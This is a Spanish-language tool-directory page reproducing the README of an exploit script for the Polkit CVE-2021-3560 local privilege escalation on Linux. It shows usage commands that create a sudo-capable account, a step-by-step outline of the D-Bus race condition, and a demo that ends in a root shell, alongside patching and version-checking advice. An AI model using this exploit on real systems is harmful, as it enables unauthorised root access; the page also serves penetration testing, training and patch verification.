Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3560_Polkit — Exploit para la vulnerabilidad CVE-2021-3560 de escalada de privilegios local en Polkit | Kitploit
Herramientas/GitHubGitHub/seimupve/cve-2021-3560_polkit
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

Exploit para la vulnerabilidad CVE-2021-3560 de escalada de privilegios local en Polkit

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-3560 Polkit Escalada local de privilegios

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Un exploit automatizado para la vulnerabilidad CVE-2021-3560 que afecta a PolicyKit (Polkit) en sistemas Linux.

⚠️ ADVERTENCIA: Esta herramienta está destinada únicamente a fines educativos y de formación en ciberseguridad en un entorno de laboratorio controlado. El uso no autorizado de este exploit en sistemas que no posees es ilegal.

📋 Tabla de contenidos

  • Acerca de la vulnerabilidad
  • Sistemas vulnerables
  • Características
  • Requisitos previos
  • Instalación
  • Uso
  • Cómo funciona
  • Demostración
  • Mitigación
  • Referencias

🔍 Acerca de la vulnerabilidad

CVE-2021-3560 es una vulnerabilidad local de condición de carrera en PolicyKit (polkit) que permite a un usuario sin privilegios obtener privilegios de root en sistemas Linux vulnerables.

Detalles técnicos

  • ID del CVE: CVE-2021-3560
  • Gravedad: Alta (CVSS 7.8)
  • Tipo: Condición de carrera / Time-of-Check Time-of-Use (TOCTOU)
  • Impacto: Escalada local de privilegios (LPE)
  • Fecha de divulgación: junio de 2021

Versiones afectadas

La vulnerabilidad afecta a dos ramas de Polkit con una numeración de versiones diferente:

Upstream (versiones oficiales)

  • Vulnerables: 0.113 a 0.118
  • Error introducido: commit bfa5036 (versión 0.113)
  • Corregido: versión 0.119+

Bifurcación de Debian/Ubuntu

  • Vulnerables: 0.105-26 y superiores (hasta 0.118)
  • Error introducido: commit f81d021 (versión 0.105-26)
  • NO vulnerables: Debian 10 "buster" (0.105-25)

💻 Sistemas vulnerables

📝 Nota: Los sistemas con parches de seguridad aplicados (p. ej., ubuntu1.1, deb10u1) no son vulnerables.

✨ Características

  • ✅ Detección automática de la vulnerabilidad en múltiples distribuciones
  • ✅ Compatibilidad con múltiples sistemas operativos: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ Verificación de dependencias de las herramientas necesarias
  • ✅ Modo de comprobación: verifica la vulnerabilidad sin explotarla
  • ✅ Temporización adaptativa: medición automática de la temporización óptima de la condición de carrera
  • ✅ Indicadores de progreso: visualización del progreso en tiempo real
  • ✅ Salida de color: interfaz clara y fácil de leer
  • ✅ Gestión robusta de errores: mensajes explícitos ante fallos

📦 Requisitos previos

Versión de Python

  • Python 3.6+ (compatible con sistemas antiguos como CentOS 8)

Dependencias del sistema

El exploit requiere las siguientes herramientas (se verifican automáticamente):

root@kitploit:~
- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

Servicio requerido

root@kitploit:~
- accountsservice  # Must be installed and active

🚀 Instalación

root@kitploit:~
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 Uso

Modo 1: Comprobación de vulnerabilidad (--check)

Comprueba si el sistema es vulnerable sin ejecutar el exploit:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

Ejemplo de salida:

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

Modo 2: Explotación

Crea un usuario privilegiado:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

Ejemplo:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

Opciones completas

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ Cómo funciona

El exploit aprovecha una condición de carrera en PolicyKit durante el procesamiento de solicitudes de D-Bus.

Principio de la vulnerabilidad

  1. Solicitud de D-Bus: el usuario envía una solicitud D-Bus para crear un usuario
  2. Comprobación de autorización: Polkit verifica si el usuario tiene permisos
  3. Condición de carrera: si la conexión D-Bus se cierra durante la verificación, Polkit trata el UID como 0 (root)
  4. Creación del usuario: el usuario se crea con privilegios elevados

Pasos del exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 Demostración

Escenario típico de explotación

root@kitploit:~
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ Mitigación

Para administradores de sistemas

  1. Actualizar PolicyKit:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # or
    sudo dnf update polkit
    
  2. Comprobar la versión:

    root@kitploit:~
    pkexec --version
    # Must be >= 0.119 (upstream) or patched
    
  3. Verificar los parches de seguridad:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

Versión mínima segura

  • Upstream: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 o superior
  • Debian 11: 0.105-31+deb11u1 o superior
  • RHEL 8: polkit-0.115-11.el8_4.1 o superior

📚 Referencias

Artículos y documentación oficiales

  • GitHub Security Lab: Escalada de privilegios con Polkit: cómo obtener root en Linux con un error de siete años
  • Red Hat CVE: CVE-2021-3560
  • MITRE CVE: CVE-2021-3560
  • NVD NIST: Detalle de CVE-2021-3560

Recursos de TryHackMe

  • Sala de TryHackMe: Polkit CVE-2021-3560 (Práctica)

Parches y correcciones

  • GitLab Polkit: Commit de corrección

📝 Notas importantes

Tasa de éxito

El exploit depende de una condición de carrera, lo que significa:

  • ✅ Por lo general, funciona en 1-20 intentos
  • ⏱️ La temporización es crítica (se calibra automáticamente)
  • 🔄 Máximo de 100 intentos por paso (configurable)
  • 📡 Mejor tasa de éxito a través de SSH que desde la consola local

Limitaciones

  • ❌ No funciona en sistemas parcheados
  • ❌ Requiere accountsservice instalado y activo
  • ❌ El usuario debe tener acceso al D-Bus del sistema
  • ❌ Algunos entornos (contenedores, máquinas virtuales específicas) pueden bloquear el exploit

Versiones parcheadas (NO vulnerables)

Las siguientes versiones incluyen parches de seguridad y NO son vulnerables:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu parcheado)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu parcheado)
  • 0.105-31+deb11u1 (Debian 11 parcheado)
  • polkit-0.115-11.el8_4.1 (RHEL 8 parcheado)

Nota: Si tu sistema aparece como vulnerable pero el exploit falla con errores PermissionDenied, es probable que la versión esté parcheada. El exploit ahora detecta correctamente estas versiones parcheadas.

Depuración

Si el exploit falla:

  1. Comprueba la versión de Python (si obtienes TypeError: __init__() got an unexpected keyword argument 'capture_output'):

    root@kitploit:~
    python3 --version
    # Should be 3.6 or higher
    # The script is compatible with Python 3.6+
    
  2. Comprueba si la versión está parcheada:

    root@kitploit:~
    pkexec --version
    # If you see ubuntu1.X (where X > 0), it's patched
    
  3. Comprueba accountsservice:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. Comprueba D-Bus:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. Ejecuta desde SSH en lugar de la consola local

  6. Ajusta la temporización modificando optimal_timing en el código

👤 Autor

Seimu

📄 Licencia

Este proyecto está destinado únicamente a fines educativos. El uso de este código para actividades no autorizadas está estrictamente prohibido y puede dar lugar a acciones legales.


⚠️ Descargo de responsabilidad: el autor no se hace responsable del mal uso de esta herramienta. Úsala únicamente en entornos de prueba autorizados.

Descargar herramienta
DistribuciónVersión de Polkit¿Vulnerable?
Ubuntu 20.040.105-26ubuntu1✅ Sí
Ubuntu 18.040.105-20❌ No
Debian testing "bullseye"0.105-31+✅ Sí
Debian 10 "buster"0.105-25❌ No
RHEL 80.115-11+✅ Sí
RHEL 7< 0.113❌ No
Fedora 21+0.113+✅ Sí
Fedora 20 y anteriores< 0.113❌ No